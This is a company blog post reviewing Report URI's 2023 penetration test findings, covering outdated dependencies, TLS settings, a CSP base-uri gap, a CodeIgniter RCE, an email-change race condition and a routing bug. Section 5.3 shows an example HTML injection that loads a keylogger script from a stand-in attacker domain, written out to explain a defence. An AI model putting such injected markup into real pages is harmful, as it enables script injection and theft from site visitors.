It's that time of year again at Report URI, right before we start getting festive, that we have our annual penetration test and 2023 is going to be our fourth test that we publish in full.
Penetration Tests
Our previous penetration tests, which were also published publicly, were back in 2020, 2021, 2022, and now it's time for the 2023 edition. Just as it was before, there were no artificial limits placed on the scope of the penetration test and it was a 5-day test. Again, we provided our source code as part of our test because it can help the tester move much more quickly and confirm or even discover issues by looking over the code. I really stressed the point that we wanted to be absolutely confident that we didn't have any issues lurking after another year of introducing new code and bug fixes, so I requested the best tester they had on staff. I also provided as much information as I could, full featured accounts, test data, a demo of the application and access to our source code.
The Results
Maintaining the same number of findings as last year, but swapping around the ratings a little, here is the summary for our 2023 findings.
This is an outcome to be really pleased with, given that we were trying our best to uncover any issues that we may have and leaves me feeling really confident that our existing processes continue to serve us well. Let's take a look through the report in more detail and see exactly what was found.
5.1 Vulnerabilities in Outdated Dependencies Detected
Again?! This one did come as a little bit of a surprise to me and you may recognise this from the 2022 report. This finding is in a different dependency that has since had an issue identified, but I was surprised that we were able to use a dependency with a known vulnerability.
We have a GitHub action that checks all of our JS dependencies for known issues but it seems it was having trouble with this one which I'm investigating further. This has now been resolved and the dependency updated!
It was also noted that our version of Bootstrap was EOL but there are currently no known issues and we have our CSP as an additional control too. This is something we're aware of and it will be addressed in due course.
5.2 Insecure TLS/SSL Configuration
This was only raised as an info item on the report and is also something we're aware of. Given the wide variety of clients that report telemetry to us, we do have a wide array of cipher suites on offer to support them all. We do support the latest and greatest protocol versions and cipher suites, so modern clients will always have the best protection available. We won't be making any changes for this item and if you'd like, you can view our SSL Labs results.
5.3 CSP configured without ‘base-uri’ directive
We had previously and consciously not set the base-uri directive in our Content Security Policy. The <base> tag in HTML allows you to set the base URL for path-relative assets, like so:
<base href="https://evil-cyber-hacker.com/">
<script src="/keylogger.js"></script>The URL used to load the script by the browser would now be:
https://evil-cyber-hacker.com/keylogger.js
The problem the attacker would have is the JS load would still be subject to our strict script-src in our CSP and the evil-cyber-hacker.com domain is not allowed, so the script wouldn't load. Ultimately, the base-uri directive not being present wouldn't allow an attacker to do anything, but we still added it anyway!
Appendix
We then get on to some really interesting parts of the report that can only be found in the Appendix because they were not actually findings on the test, but they could have been if circumstances were different. I'm really proud of this section and it just goes to show how our Defense In Depth strategy can really pay off!
A1. CodeIgniter Validation Placeholders RCE
When Report URI was first built, it used the CodeIgniter framework exclusively. Over the years we have slowly migrated away from CodeIgniter and that migration is almost complete, with very, very little of our application even touching CodeIgniter now.
A new feature, called Validation Placeholders, that was not supported in the version of CodeIgniter we use, nor was its predecessor feature used by our code, contained a pretty serious Remote Code Execution vulnerability. You can read the full details in the security advisory, so I won't reproduce them here, but I was able to quickly evaluate the functionality of Validation Placeholders, and of our usage of Validation Rules, to determine that we were not vulnerable. Despite that, we still took robust action. I will quote directly from the report:
While Report URI used CI 3, which did not have the vulnerable feature, a patch was deployed the same day which addressed any remaining concerns. All validation rules were changed to use arrays, rather than pipe format shown in examples above. This prevents the sort of injection which enabled the placeholders to execute code. A static analysis rule was also added which forces validation rules to use Report URI’s wrapped rules, rather than CI’s default ones. Finally, the wrapped rules were changed to only accept arrays and not strings.
However, without CI 4’s placeholders, untrusted data is never injected into the execution context, as one would expect... As such, while Report URI was never exposed to this vulnerability, additional measures have been taken to further strengthen defences against it. Finally, this issue also encouraged Report URI to accelerate their transition away from CodeIgniter.
A2. Race Condition on Email Change
This was an interesting issue for the tester to come across and one that was pretty easy for us to resolve. By submitting multiple requests to change the email address on the registered account within the same HTTP/2 packet, a user account was able to be 'cloned' into several instances of the same account but with different email addresses associated.
During penetration testing, a race condition vulnerability was identified in the user email address change functionality. While the condition enabled the creation of duplicate user accounts, it was without immediate security risk, due to the robust "fail fast and fail early" principles employed by the application. The duplicates were clones, inheriting access to the original accounts' subscriptions – meaning that each duplicated account had their usage counted against the original account’s limits.
There were no security concerns presented by this issue and it only posed a problem for the person 'cloning' their account because it would break certain functionality of their account and yield no benefits. This issue is possible because of inherent limitations in Azure Table Storage not being accounted for in our code. I wrote about why I chose Table Storage all the way back in 2015.
Table Storage is a simple key:value store and it doesn't support atomic operations. Entities are inserted into a table and have two properties, the Partition Key and Row Key, that form the primary key for lookup and can't be changed. Because of the unique constraint on the combination of the Partition Key and Row Key, we store the user email address in the Row Key to prevent duplication of accounts with the same email address. The Partition Key and Row Key also can't be modified for an entity, they are the only properties that are permanent. This means to change the email address for a user we have to clone their user entity into a new entity with a different email address in the Row Key, insert the new entity and delete the old entity. It was racing the delete process that made this issue possible.
Because Table Storage doesn't support atomic operations, I couldn't fix the problem there, so I turned to our Redis cache, which does support atomic operations. By implementing a new 'user entity write lock' mechanism, we could leverage Redis to easily resolve this problem.
Here's the code to do this in Redis:
$this->redis->set('entityLock:' . $email, '1', ['NX', 'EX' => 15]);To snip the explanation text from the issue:
The NX option will cause the write to Redis to fail if the key already exists, and the EX option sets the expiry on the key to 15 seconds. This means a user can only change their email address every 15 seconds, but fixes the race condition found in the penetration test.
To quote the penetration test report:
Despite the lack of security implications, it is worth commending Report URI’s swift remediation of the issue.
A3. Potential Issue – Path Access Control
We have some Controllers that perform functions only intended to be accessed and triggered from the Command-Line Interface. Our Router takes care of ensuring that any requests coming in from Nginx can't hit these Controllers as they are only intended to be called from the CLI. It turns out we had a small bug in our Router code and you could indeed hit these Controllers with HTTP requests. Despite this, there was no issue, and I will quote from the report:
However, all affected controllers inherited from a base command line controller class, whose constructor performed an additional verification of the execution context. Any attempt to create (access) these controllers outside of a command-line context would raise an error, as demonstrated below:
-snip-
As such, while it was never possible to reach the affected controllers, this issue highlights the importance of not making assumptions when security could be affected. Thanks to robust code and multi-layered validation, the application prevented the issue from being exploitable – and in fact, entirely mitigated the vulnerability before it was even discovered. Report URI has since patched the issue to remove any residual risk.
It's hard to imagine what someone could do with this capability, maybe they could update our aggregate count data a little more frequently, but either way, it was still a bug that needed to be fixed!
Another Success!
I think it's fair to say that this test went exceptionally well and despite all of our best efforts over the last 12 months, there are still improvements that we've had to make as a result of getting the test done. As I've said before, you really want to help a tester as much as you can to get the most value out of a test like this, and as before, here is the full, unredacted PDF report if you'd like a read.